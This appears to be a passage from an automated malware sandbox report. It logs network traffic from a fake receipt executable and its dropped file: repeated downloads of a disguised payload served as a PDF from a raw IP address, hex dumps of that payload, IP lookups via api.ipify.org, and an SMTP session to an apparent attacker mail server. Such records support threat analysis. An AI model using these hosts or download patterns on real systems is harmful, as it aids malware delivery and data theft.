Apr 20, 2024 10:22:54.524894953 CEST	1289	IN	Data Raw: 54 15 13 76 21 f2 bf 4b 8e 72 f1 7e 1a cb 7b ff be 04 1c 87 a5 42 24 31 43 0b 3a ad 78 19 1e 71 f1 3f 61 d7 bd f5 98 c0 5b 6e f3 c4 17 07 e7 0a e5 30 6d 79 44 1f 4a e7 1d 94 d9 ec 00 72 69 b2 4f a1 c5 0c 0f cf 17 2d af f8 80 b3 57 e2 73 7c 95 9c Data Ascii: Tv!Kr~{B$1C:xq?a[n0myDJriO-Ws\|RL0$9qL";G_"'u_\|03]<-}Vj(J/Y{R;"\UXvOR1,9Qu%M@0%\|:_5x1L%iS:MC&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49718	5.34.182.232	80	3440	C:\Users\user\AppData\Roaming\daqfbrlrs.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 10:23:46.205118895 CEST	76	OUT	GET /sm/Tsgempx.pdf HTTP/1.1 Host: 5.34.182.232 Connection: Keep-Alive
Apr 20, 2024 10:23:46.445223093 CEST	1289	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 08:23:46 GMT Server: Apache/2.4.6 (CentOS) Last-Modified: Fri, 19 Apr 2024 08:40:09 GMT ETag: "229c08-6166f09088c40" Accept-Ranges: bytes Content-Length: 2268168 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: b6 b3 47 b2 68 9c d5 2c a7 f5 4b d7 35 1d 94 f2 1f d0 b7 df e7 bb c6 fc d4 f7 b6 41 9f 61 00 f8 1a 63 f0 d0 f7 c9 39 a9 b5 37 a4 2a 39 ef 2b 5f 4a b8 05 81 a5 96 b8 75 1d 6a c1 a6 42 77 2e 36 c7 11 af 68 f3 bc 9f c9 fa a6 40 27 1d f0 c2 1b d4 18 12 10 a5 57 3a 65 5a f0 94 ce 58 4a 6e d0 b7 b2 74 ec 7f 52 3c 5f 61 c7 1c 94 48 47 a7 00 cc 43 5f 54 bc 0e 5a 04 0c 44 dc 54 bf f5 4d ac 54 9c c2 75 5f 01 da ef 8a 94 ee 85 9e 5f 1e f4 fd f6 79 37 d9 4f 9d c6 6c 99 2e 32 d0 c9 80 3e c3 75 f9 7d 0f 9a 7f 46 ad 8f 8a d5 bf 1f 68 dd 69 dc 53 9e 3d e6 68 ea 50 cd 0e fc 5d 57 c2 5c 94 37 5f 49 f0 74 3d ff cd ab 18 c5 50 b0 89 58 3c 27 25 2f 43 b1 c2 0a 43 87 62 37 aa 54 9b bf 5f da 31 19 94 06 1c 16 d0 13 d5 fe a9 6a 51 3e 80 34 b9 7b 28 64 57 fa a1 b3 92 f7 1f c2 9e 86 23 99 fb 45 a0 91 5a 6b 43 92 be c5 ab 49 4a 50 ee 18 92 b8 cc 7d 69 a9 73 5f 1b 6e 09 fd 54 ab a6 cf 9a 31 cc 0f a5 5f e2 c4 47 7d ec 85 96 5c 76 35 6f e0 94 a8 3d 88 13 2f 8f 63 ad 8d b0 d3 56 a5 ce 23 53 e5 55 03 6a 29 32 dd 48 bd b7 1b a8 e8 a4 da 9b cf c5 61 ae c5 46 9e e2 cf 8e a6 8b f7 47 2c e2 62 db 23 45 ab 76 da d0 91 45 c9 22 e4 75 b8 bb f5 87 d7 a4 0d 05 8c e9 6b 5a 04 b7 07 9d 8f 61 13 bb 9f b8 44 a7 99 dc 80 c4 71 26 6a 7c 8c ba d8 99 df e1 70 8b cd 4c 27 7d 37 6d e9 a4 30 61 32 a6 e6 3b 78 e0 74 b5 3d 99 45 50 e0 77 96 0d 2a c1 20 72 36 76 0b ba 69 db 13 f5 88 f7 50 25 ad 10 99 3d 27 aa b6 66 82 c0 78 1f a0 66 f4 e3 ec 5c eb c1 59 35 04 1f 17 d2 8d 98 79 86 b3 98 65 2d cd 5d 4b a7 1f 51 c2 42 19 75 e4 ec 1d 72 b6 db 45 d5 45 22 d8 d1 e4 da 33 7c a8 9a a1 e9 85 dc 96 a3 31 fc be 2a d7 8c cb a8 36 9c 4a 18 75 0e 8c 0e 62 cb 71 e2 a1 1e a2 cd 36 84 2b b5 80 62 15 5b 87 a3 f5 b4 4c 65 ab 1f 01 a7 6f 3f 61 6e c7 8a b7 f8 d7 61 43 3c b6 d4 03 ce 37 ff 58 d4 74 07 24 e4 9f d8 cb fc a5 94 6e cf 66 15 ea 5d 70 5f 78 08 a0 93 3a b1 ea ab 8c 09 7b 97 38 ee 26 1a c8 c6 da 8e d0 23 2b 0c dc 11 de e7 e2 6e b5 89 a0 2b ec bb 60 dc 3c 38 a7 94 d9 71 7d 60 f9 4d 4f ce 09 8c bc 3c 7a 64 d5 77 27 f1 d0 64 6f cb 07 09 90 d4 95 a1 f5 67 89 9a d8 0f dc cf ad f4 68 57 e8 8d 34 27 eb 83 fe d6 a0 db 92 d3 e4 0d c7 cb d2 aa 39 19 4c 86 10 a1 3d f2 c9 cf fa 47 04 43 2f 31 7b 4c 81 bc b1 50 d0 36 16 b3 1b eb 12 8f de ea 4a cd 18 7e 66 91 30 f7 ce 83 6a 1f 31 ad 6f 81 23 ab ff 05 c7 0b 11 b7 4a 95 c5 80 7b 1d 28 4c 3e 25 1d 69 ed 35 ac 62 54 2f ae 87 46 31 cf 34 f2 90 57 8e 43 2b e0 9c 9a dd 99 13 95 5a 08 a4 1a a7 f7 b3 63 a3 50 c8 40 bd 7d 97 ba f7 2b e4 7d b8 12 9b 76 0d 91 c6 6a 75 18 e9 fa d8 9d 80 e0 fa bc 17 64 95 61 e3 d7 42 cb 7c 76 5f a4 a0 0a f6 4b d7 1d fe 1f 24 4f 45 28 ad a4 da da 2f 16 ab f0 a3 6c 8d b1 18 7f 60 37 37 58 c3 4a 37 d7 00 e5 15 05 5e bf 46 38 be 55 fb 9b 63 5e 90 1d 15 29 8e 7e 47 09 86 6b 2d aa 10 62 38 4d 8d db 2b f8 dd 31 78 63 4c c0 bb 89 e0 29 92 aa 56 3d 1a 72 19 2e bd ba c7 78 35 a1 77 7b e1 b1 df ff ab 19 aa 87 28 1c 93 05 f1 63 e3 c9 1f 6d dc 18 ad 7b 2b 73 5b 7e 8e 5c b2 42 f7 97 78 e8 2f b0 2e a0 b6 28 21 d8 53 70 9a b7 08 e9 fb 30 d6 26 5a 69 Data Ascii: Gh,K5Aac979+_JujBw.6h@'W:eZXJntR<_aHGC_TZDTMTu__y7Ol.2>u}FhiS=hP]W\7_It=PX<'%/CCb7T_1jQ>4{(dW#EZkCIJP}is_nT1_G}\v5o=/cV#SUj)2HaFG,b#EvE"ukZaDq&j\|pL'}7m0a2;xt=EPw r6viP%='fxf\Y5ye-]KQBurEE"3\|1*6Jubq6+b[Leo?anaC<7Xt$nf]p_x:{8&#+n+`<8q}`MO<zdw'doghW4'9L=GC/1{LP6J~f0j1o#J{(L>%i5bT/F14WC+ZcP@}+}vjudaB\|v_K$OE(/l`77XJ7^F8Uc^)~Gk-b8M+1xcL)V=r.x5w{(cm{+s[~\Bx/.(!Sp0&Zi
Apr 20, 2024 10:23:46.445333004 CEST	1289	IN	Data Raw: f5 4e c5 4d f7 4a 54 13 2a 42 99 0b 57 7d 6c 91 0b 4d 7f 49 c9 34 e9 8a 9f a9 83 9f bb 2d 7f 70 9f 73 1c 64 49 9d c2 d9 08 41 f9 2e aa 5a 77 9a 90 63 34 2d 42 b7 04 e4 26 5b 4d 55 03 ab 91 7b 2f 72 2b 0e b6 ce 0c 39 e1 81 98 7a 7d f4 ce 78 e5 2a Data Ascii: NMJTBW}lMI4-psdIA.Zwc4-B&[MU{/r+9z}x] lBqqgH+Noe*MAtOC_4.N@_D_&eKP{S7Gf5>1$Ps:egVg+8L5x7W-(~R_?~R
Apr 20, 2024 10:23:46.445414066 CEST	1289	IN	Data Raw: 2b 55 f0 d6 2c 40 91 c6 55 00 65 76 1d f4 47 d1 c6 92 f2 0a 30 f4 61 2e 39 ab 98 7f 60 6f 88 1b c8 23 85 d0 02 47 88 a8 0a da 5c a3 2e 99 71 74 5b 24 91 0e b0 2f e7 34 fd 81 3a 8c 11 02 3f 6f ba f3 13 3f 4b 9f ce 93 dc e1 fa 6a e7 7e 5e b2 a9 e8 Data Ascii: +U,@UevG0a.9`o#G\.qt[$/4:?o?Kj~^;ka[/2)!PBWLw6),g.e5=00ZNN:Cu_C_PBSH4%NhB)Mk/5,:z12;0dR%yT{Q
Apr 20, 2024 10:23:46.445455074 CEST	1289	IN	Data Raw: 3e d8 5d 15 25 27 64 69 b6 a7 22 58 d6 64 fb 2c f3 c0 be 08 c9 77 fa 18 58 e3 68 13 58 b1 84 52 98 7b 0b 7c 5b 65 16 54 67 79 a0 0f b4 43 68 56 48 fc ee 36 98 e8 d3 d2 50 f4 7b f6 2a ef 5b b9 20 07 3c 73 44 34 13 43 0e d2 35 69 7c b8 4c f6 9f a8 Data Ascii: >]%'di"Xd,wXhXR{\|[eTgyChVH6P{[ <sD4C5i\|L#,.H@K)poK4 zNZ~Af-QkS`[?-An?,ET(X^at#0AFT\B3Sp7Tu"`'tR(+^6H+
Apr 20, 2024 10:23:46.445492983 CEST	1289	IN	Data Raw: f5 a6 70 69 2b 25 52 57 c7 78 0b 88 0d e8 a0 06 da 9e a4 b5 64 d1 6d 4b 34 63 18 f6 20 26 7b c5 41 29 14 61 0a 36 68 a3 d3 d2 a9 63 ee 00 01 28 0a 06 ae 3b c7 d9 4c 79 82 f4 b1 a6 8a 87 43 73 c3 7d 1e 01 e1 c7 35 1b 95 17 46 e2 f6 1f ab 00 fd a5 Data Ascii: pi+%RWxdmK4c &{A)a6hc(;LyCs}5FP\|~TEN%RdO\)Ctx&r;@,^YYj2}+zl#laBpL^6##m W~pk5g1>h!\|<6
Apr 20, 2024 10:23:46.445528984 CEST	1289	IN	Data Raw: 96 4d e9 82 da cb 02 29 7a c9 a8 68 bf 5d d2 a2 a7 25 8a be 55 6e 36 ab 21 c8 38 6d b0 33 de b0 c8 4a e1 73 69 52 80 f3 0b 20 40 18 02 95 02 00 86 c3 a5 26 dd 10 3c 02 18 9c fe 67 9d 81 1f 7f bd ff 94 55 cb b1 e0 8b 28 74 e4 04 af 30 f8 34 b6 a7 Data Ascii: M)zh]%Un6!8m3JsiR @&<gU(t04f,5W=LM[IKE!C~P2.P*w;@J8yu/Le,W@ZYfZ$b{z<z^}{6<>P[KsI
Apr 20, 2024 10:23:46.445564032 CEST	1289	IN	Data Raw: 6a 46 59 f0 f7 09 5d 88 e0 bc ba 4a 5b 85 f8 0c 92 9f 1e 68 e0 00 3d c9 00 80 08 aa ba 3a 96 84 71 6e 65 5b 6e 07 fe 56 9f a1 de 4d b4 fb 90 57 a9 40 79 e5 11 96 b2 03 bd 26 26 b7 fb 4e a5 18 80 52 a1 0c 52 b7 1a 26 6c 29 59 33 eb 7b 73 00 4e d3 Data Ascii: jFY]J[h=:qne[nVMW@y&&NRR&l)Y3{sNQ6Z13A+a;UsKt\|^I%c{8'\|&XeQQXW@ PK49Iq?L{63x<Zp/1
Apr 20, 2024 10:23:46.445601940 CEST	1289	IN	Data Raw: 15 b0 46 22 12 61 2f 70 f5 c5 6c 14 c4 37 96 ec 83 a3 ac 4e a5 75 4b 4f 91 30 0e 48 48 8d b9 99 bd 69 f9 93 bf 2f 5e 0e a1 61 0a f5 d5 e9 c3 23 f5 d2 85 db 59 fc f7 77 93 66 97 01 e9 9b d3 f7 7d 7a 66 52 1a de 88 8c d2 9d 80 00 97 25 b5 41 e4 7a Data Ascii: F"a/pl7NuKO0HHi/^a#Ywf}zfR%AzgD~];W?@&%iTej/\|!>6,:4~I(n]S#ssj,Tiy'@NaA3~E<!iS+tDl2b#hER=RP~#)
Apr 20, 2024 10:23:46.445637941 CEST	1289	IN	Data Raw: 13 48 8b d6 0d 06 1e d5 02 8c 1d 3f a3 80 58 31 8a f7 60 82 67 66 18 2a 22 af d1 1b 00 0c 5d 59 55 e8 10 82 dc 2e d9 91 d9 72 e1 45 db c0 6d e4 a0 e5 63 88 12 0d fb 71 7d 62 53 a9 6f 81 2a 1b d7 dc c7 5f 0b 1c 79 07 22 ff 99 3a 24 3c ae 25 1a 07 Data Ascii: H?X1`gf"]YU.rEmcq}bSo_y":$<%O[\G^86s $=T"y3MIo}x1/2$A+;~cU AbaF8$8Tdcqy36BzWC?T'9e~
Apr 20, 2024 10:23:46.445676088 CEST	1289	IN	Data Raw: 4e c2 12 58 b7 bd a3 0f ab a0 85 32 f5 17 ae ee e3 4d 93 2e a2 64 14 b5 62 72 ac b4 37 eb a7 b6 a0 85 ac 28 88 8e 41 38 4d 00 5d f9 d0 6e cf 75 55 87 9a 46 ea 04 9b 0a 51 71 53 6c 0a 64 dc 65 5d 3c 6c ad c3 b3 40 05 a0 04 07 21 78 28 c3 91 76 bc Data Ascii: NX2M.dbr7(A8M]nuUFQqSlde]<l@!x(vX@ytX[C_R{\3uA\V]hl!b5fz;j(~%S3_sY0uKuGbIj`gj[`ErJJjD(B5pbN`=)W~`z;
Apr 20, 2024 10:23:46.685480118 CEST	1289	IN	Data Raw: 54 15 13 76 21 f2 bf 4b 8e 72 f1 7e 1a cb 7b ff be 04 1c 87 a5 42 24 31 43 0b 3a ad 78 19 1e 71 f1 3f 61 d7 bd f5 98 c0 5b 6e f3 c4 17 07 e7 0a e5 30 6d 79 44 1f 4a e7 1d 94 d9 ec 00 72 69 b2 4f a1 c5 0c 0f cf 17 2d af f8 80 b3 57 e2 73 7c 95 9c Data Ascii: Tv!Kr~{B$1C:xq?a[n0myDJriO-Ws\|RL0$9qL";G_"'u_\|03]<-}Vj(J/Y{R;"\UXvOR1,9Qu%M@0%\|:_5x1L%iS:MC&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49720	5.34.182.232	80	6772	C:\Users\user\AppData\Roaming\daqfbrlrs.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 10:23:54.793939114 CEST	76	OUT	GET /sm/Tsgempx.pdf HTTP/1.1 Host: 5.34.182.232 Connection: Keep-Alive
Apr 20, 2024 10:23:55.028759956 CEST	1289	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 08:23:54 GMT Server: Apache/2.4.6 (CentOS) Last-Modified: Fri, 19 Apr 2024 08:40:09 GMT ETag: "229c08-6166f09088c40" Accept-Ranges: bytes Content-Length: 2268168 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: b6 b3 47 b2 68 9c d5 2c a7 f5 4b d7 35 1d 94 f2 1f d0 b7 df e7 bb c6 fc d4 f7 b6 41 9f 61 00 f8 1a 63 f0 d0 f7 c9 39 a9 b5 37 a4 2a 39 ef 2b 5f 4a b8 05 81 a5 96 b8 75 1d 6a c1 a6 42 77 2e 36 c7 11 af 68 f3 bc 9f c9 fa a6 40 27 1d f0 c2 1b d4 18 12 10 a5 57 3a 65 5a f0 94 ce 58 4a 6e d0 b7 b2 74 ec 7f 52 3c 5f 61 c7 1c 94 48 47 a7 00 cc 43 5f 54 bc 0e 5a 04 0c 44 dc 54 bf f5 4d ac 54 9c c2 75 5f 01 da ef 8a 94 ee 85 9e 5f 1e f4 fd f6 79 37 d9 4f 9d c6 6c 99 2e 32 d0 c9 80 3e c3 75 f9 7d 0f 9a 7f 46 ad 8f 8a d5 bf 1f 68 dd 69 dc 53 9e 3d e6 68 ea 50 cd 0e fc 5d 57 c2 5c 94 37 5f 49 f0 74 3d ff cd ab 18 c5 50 b0 89 58 3c 27 25 2f 43 b1 c2 0a 43 87 62 37 aa 54 9b bf 5f da 31 19 94 06 1c 16 d0 13 d5 fe a9 6a 51 3e 80 34 b9 7b 28 64 57 fa a1 b3 92 f7 1f c2 9e 86 23 99 fb 45 a0 91 5a 6b 43 92 be c5 ab 49 4a 50 ee 18 92 b8 cc 7d 69 a9 73 5f 1b 6e 09 fd 54 ab a6 cf 9a 31 cc 0f a5 5f e2 c4 47 7d ec 85 96 5c 76 35 6f e0 94 a8 3d 88 13 2f 8f 63 ad 8d b0 d3 56 a5 ce 23 53 e5 55 03 6a 29 32 dd 48 bd b7 1b a8 e8 a4 da 9b cf c5 61 ae c5 46 9e e2 cf 8e a6 8b f7 47 2c e2 62 db 23 45 ab 76 da d0 91 45 c9 22 e4 75 b8 bb f5 87 d7 a4 0d 05 8c e9 6b 5a 04 b7 07 9d 8f 61 13 bb 9f b8 44 a7 99 dc 80 c4 71 26 6a 7c 8c ba d8 99 df e1 70 8b cd 4c 27 7d 37 6d e9 a4 30 61 32 a6 e6 3b 78 e0 74 b5 3d 99 45 50 e0 77 96 0d 2a c1 20 72 36 76 0b ba 69 db 13 f5 88 f7 50 25 ad 10 99 3d 27 aa b6 66 82 c0 78 1f a0 66 f4 e3 ec 5c eb c1 59 35 04 1f 17 d2 8d 98 79 86 b3 98 65 2d cd 5d 4b a7 1f 51 c2 42 19 75 e4 ec 1d 72 b6 db 45 d5 45 22 d8 d1 e4 da 33 7c a8 9a a1 e9 85 dc 96 a3 31 fc be 2a d7 8c cb a8 36 9c 4a 18 75 0e 8c 0e 62 cb 71 e2 a1 1e a2 cd 36 84 2b b5 80 62 15 5b 87 a3 f5 b4 4c 65 ab 1f 01 a7 6f 3f 61 6e c7 8a b7 f8 d7 61 43 3c b6 d4 03 ce 37 ff 58 d4 74 07 24 e4 9f d8 cb fc a5 94 6e cf 66 15 ea 5d 70 5f 78 08 a0 93 3a b1 ea ab 8c 09 7b 97 38 ee 26 1a c8 c6 da 8e d0 23 2b 0c dc 11 de e7 e2 6e b5 89 a0 2b ec bb 60 dc 3c 38 a7 94 d9 71 7d 60 f9 4d 4f ce 09 8c bc 3c 7a 64 d5 77 27 f1 d0 64 6f cb 07 09 90 d4 95 a1 f5 67 89 9a d8 0f dc cf ad f4 68 57 e8 8d 34 27 eb 83 fe d6 a0 db 92 d3 e4 0d c7 cb d2 aa 39 19 4c 86 10 a1 3d f2 c9 cf fa 47 04 43 2f 31 7b 4c 81 bc b1 50 d0 36 16 b3 1b eb 12 8f de ea 4a cd 18 7e 66 91 30 f7 ce 83 6a 1f 31 ad 6f 81 23 ab ff 05 c7 0b 11 b7 4a 95 c5 80 7b 1d 28 4c 3e 25 1d 69 ed 35 ac 62 54 2f ae 87 46 31 cf 34 f2 90 57 8e 43 2b e0 9c 9a dd 99 13 95 5a 08 a4 1a a7 f7 b3 63 a3 50 c8 40 bd 7d 97 ba f7 2b e4 7d b8 12 9b 76 0d 91 c6 6a 75 18 e9 fa d8 9d 80 e0 fa bc 17 64 95 61 e3 d7 42 cb 7c 76 5f a4 a0 0a f6 4b d7 1d fe 1f 24 4f 45 28 ad a4 da da 2f 16 ab f0 a3 6c 8d b1 18 7f 60 37 37 58 c3 4a 37 d7 00 e5 15 05 5e bf 46 38 be 55 fb 9b 63 5e 90 1d 15 29 8e 7e 47 09 86 6b 2d aa 10 62 38 4d 8d db 2b f8 dd 31 78 63 4c c0 bb 89 e0 29 92 aa 56 3d 1a 72 19 2e bd ba c7 78 35 a1 77 7b e1 b1 df ff ab 19 aa 87 28 1c 93 05 f1 63 e3 c9 1f 6d dc 18 ad 7b 2b 73 5b 7e 8e 5c b2 42 f7 97 78 e8 2f b0 2e a0 b6 28 21 d8 53 70 9a b7 08 e9 fb 30 d6 26 5a 69 Data Ascii: Gh,K5Aac979+_JujBw.6h@'W:eZXJntR<_aHGC_TZDTMTu__y7Ol.2>u}FhiS=hP]W\7_It=PX<'%/CCb7T_1jQ>4{(dW#EZkCIJP}is_nT1_G}\v5o=/cV#SUj)2HaFG,b#EvE"ukZaDq&j\|pL'}7m0a2;xt=EPw r6viP%='fxf\Y5ye-]KQBurEE"3\|1*6Jubq6+b[Leo?anaC<7Xt$nf]p_x:{8&#+n+`<8q}`MO<zdw'doghW4'9L=GC/1{LP6J~f0j1o#J{(L>%i5bT/F14WC+ZcP@}+}vjudaB\|v_K$OE(/l`77XJ7^F8Uc^)~Gk-b8M+1xcL)V=r.x5w{(cm{+s[~\Bx/.(!Sp0&Zi
Apr 20, 2024 10:23:55.028798103 CEST	1289	IN	Data Raw: f5 4e c5 4d f7 4a 54 13 2a 42 99 0b 57 7d 6c 91 0b 4d 7f 49 c9 34 e9 8a 9f a9 83 9f bb 2d 7f 70 9f 73 1c 64 49 9d c2 d9 08 41 f9 2e aa 5a 77 9a 90 63 34 2d 42 b7 04 e4 26 5b 4d 55 03 ab 91 7b 2f 72 2b 0e b6 ce 0c 39 e1 81 98 7a 7d f4 ce 78 e5 2a Data Ascii: NMJTBW}lMI4-psdIA.Zwc4-B&[MU{/r+9z}x] lBqqgH+Noe*MAtOC_4.N@_D_&eKP{S7Gf5>1$Ps:egVg+8L5x7W-(~R_?~R
Apr 20, 2024 10:23:55.028834105 CEST	1289	IN	Data Raw: 2b 55 f0 d6 2c 40 91 c6 55 00 65 76 1d f4 47 d1 c6 92 f2 0a 30 f4 61 2e 39 ab 98 7f 60 6f 88 1b c8 23 85 d0 02 47 88 a8 0a da 5c a3 2e 99 71 74 5b 24 91 0e b0 2f e7 34 fd 81 3a 8c 11 02 3f 6f ba f3 13 3f 4b 9f ce 93 dc e1 fa 6a e7 7e 5e b2 a9 e8 Data Ascii: +U,@UevG0a.9`o#G\.qt[$/4:?o?Kj~^;ka[/2)!PBWLw6),g.e5=00ZNN:Cu_C_PBSH4%NhB)Mk/5,:z12;0dR%yT{Q
Apr 20, 2024 10:23:55.028870106 CEST	1289	IN	Data Raw: 3e d8 5d 15 25 27 64 69 b6 a7 22 58 d6 64 fb 2c f3 c0 be 08 c9 77 fa 18 58 e3 68 13 58 b1 84 52 98 7b 0b 7c 5b 65 16 54 67 79 a0 0f b4 43 68 56 48 fc ee 36 98 e8 d3 d2 50 f4 7b f6 2a ef 5b b9 20 07 3c 73 44 34 13 43 0e d2 35 69 7c b8 4c f6 9f a8 Data Ascii: >]%'di"Xd,wXhXR{\|[eTgyChVH6P{[ <sD4C5i\|L#,.H@K)poK4 zNZ~Af-QkS`[?-An?,ET(X^at#0AFT\B3Sp7Tu"`'tR(+^6H+
Apr 20, 2024 10:23:55.028913021 CEST	1289	IN	Data Raw: f5 a6 70 69 2b 25 52 57 c7 78 0b 88 0d e8 a0 06 da 9e a4 b5 64 d1 6d 4b 34 63 18 f6 20 26 7b c5 41 29 14 61 0a 36 68 a3 d3 d2 a9 63 ee 00 01 28 0a 06 ae 3b c7 d9 4c 79 82 f4 b1 a6 8a 87 43 73 c3 7d 1e 01 e1 c7 35 1b 95 17 46 e2 f6 1f ab 00 fd a5 Data Ascii: pi+%RWxdmK4c &{A)a6hc(;LyCs}5FP\|~TEN%RdO\)Ctx&r;@,^YYj2}+zl#laBpL^6##m W~pk5g1>h!\|<6
Apr 20, 2024 10:23:55.028949976 CEST	1289	IN	Data Raw: 96 4d e9 82 da cb 02 29 7a c9 a8 68 bf 5d d2 a2 a7 25 8a be 55 6e 36 ab 21 c8 38 6d b0 33 de b0 c8 4a e1 73 69 52 80 f3 0b 20 40 18 02 95 02 00 86 c3 a5 26 dd 10 3c 02 18 9c fe 67 9d 81 1f 7f bd ff 94 55 cb b1 e0 8b 28 74 e4 04 af 30 f8 34 b6 a7 Data Ascii: M)zh]%Un6!8m3JsiR @&<gU(t04f,5W=LM[IKE!C~P2.P*w;@J8yu/Le,W@ZYfZ$b{z<z^}{6<>P[KsI
Apr 20, 2024 10:23:55.028985977 CEST	1289	IN	Data Raw: 6a 46 59 f0 f7 09 5d 88 e0 bc ba 4a 5b 85 f8 0c 92 9f 1e 68 e0 00 3d c9 00 80 08 aa ba 3a 96 84 71 6e 65 5b 6e 07 fe 56 9f a1 de 4d b4 fb 90 57 a9 40 79 e5 11 96 b2 03 bd 26 26 b7 fb 4e a5 18 80 52 a1 0c 52 b7 1a 26 6c 29 59 33 eb 7b 73 00 4e d3 Data Ascii: jFY]J[h=:qne[nVMW@y&&NRR&l)Y3{sNQ6Z13A+a;UsKt\|^I%c{8'\|&XeQQXW@ PK49Iq?L{63x<Zp/1
Apr 20, 2024 10:23:55.029022932 CEST	1289	IN	Data Raw: 15 b0 46 22 12 61 2f 70 f5 c5 6c 14 c4 37 96 ec 83 a3 ac 4e a5 75 4b 4f 91 30 0e 48 48 8d b9 99 bd 69 f9 93 bf 2f 5e 0e a1 61 0a f5 d5 e9 c3 23 f5 d2 85 db 59 fc f7 77 93 66 97 01 e9 9b d3 f7 7d 7a 66 52 1a de 88 8c d2 9d 80 00 97 25 b5 41 e4 7a Data Ascii: F"a/pl7NuKO0HHi/^a#Ywf}zfR%AzgD~];W?@&%iTej/\|!>6,:4~I(n]S#ssj,Tiy'@NaA3~E<!iS+tDl2b#hER=RP~#)
Apr 20, 2024 10:23:55.029057980 CEST	1289	IN	Data Raw: 13 48 8b d6 0d 06 1e d5 02 8c 1d 3f a3 80 58 31 8a f7 60 82 67 66 18 2a 22 af d1 1b 00 0c 5d 59 55 e8 10 82 dc 2e d9 91 d9 72 e1 45 db c0 6d e4 a0 e5 63 88 12 0d fb 71 7d 62 53 a9 6f 81 2a 1b d7 dc c7 5f 0b 1c 79 07 22 ff 99 3a 24 3c ae 25 1a 07 Data Ascii: H?X1`gf"]YU.rEmcq}bSo_y":$<%O[\G^86s $=T"y3MIo}x1/2$A+;~cU AbaF8$8Tdcqy36BzWC?T'9e~
Apr 20, 2024 10:23:55.029094934 CEST	1289	IN	Data Raw: 4e c2 12 58 b7 bd a3 0f ab a0 85 32 f5 17 ae ee e3 4d 93 2e a2 64 14 b5 62 72 ac b4 37 eb a7 b6 a0 85 ac 28 88 8e 41 38 4d 00 5d f9 d0 6e cf 75 55 87 9a 46 ea 04 9b 0a 51 71 53 6c 0a 64 dc 65 5d 3c 6c ad c3 b3 40 05 a0 04 07 21 78 28 c3 91 76 bc Data Ascii: NX2M.dbr7(A8M]nuUFQqSlde]<l@!x(vX@ytX[C_R{\3uA\V]hl!b5fz;j(~%S3_sY0uKuGbIj`gj[`ErJJjD(B5pbN`=)W~`z;
Apr 20, 2024 10:23:55.263689995 CEST	1289	IN	Data Raw: 54 15 13 76 21 f2 bf 4b 8e 72 f1 7e 1a cb 7b ff be 04 1c 87 a5 42 24 31 43 0b 3a ad 78 19 1e 71 f1 3f 61 d7 bd f5 98 c0 5b 6e f3 c4 17 07 e7 0a e5 30 6d 79 44 1f 4a e7 1d 94 d9 ec 00 72 69 b2 4f a1 c5 0c 0f cf 17 2d af f8 80 b3 57 e2 73 7c 95 9c Data Ascii: Tv!Kr~{B$1C:xq?a[n0myDJriO-Ws\|RL0$9qL";G_"'u_\|03]<-}Vj(J/Y{R;"\UXvOR1,9Qu%M@0%\|:_5x1L%iS:MC&

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49716	104.26.13.205	443	1480	C:\Users\user\Desktop\Receipt_7814002.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 08:23:31 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-20 08:23:32 UTC	211	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 08:23:32 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8773bb991b4553db-ATL
2024-04-20 08:23:32 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 35 32 Data Ascii: 81.181.57.52

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49722	104.26.12.205	443	3716	C:\Users\user\AppData\Roaming\daqfbrlrs.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 08:24:23 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-20 08:24:23 UTC	211	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 08:24:23 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8773bcd91b25137b-ATL
2024-04-20 08:24:23 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 35 32 Data Ascii: 81.181.57.52

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49724	104.26.12.205	443	4580	C:\Users\user\AppData\Roaming\daqfbrlrs.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 08:24:31 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-20 08:24:32 UTC	211	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 08:24:31 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8773bd0f7c034517-ATL
2024-04-20 08:24:32 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 35 32 Data Ascii: 81.181.57.52

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Apr 20, 2024 10:23:33.402307034 CEST	587	49717	66.29.151.236	192.168.2.5	220 server1.coleoffice.shop127.0.0.1 ESMTP Postfix
Apr 20, 2024 10:23:33.402858973 CEST	49717	587	192.168.2.5	66.29.151.236	EHLO 899552
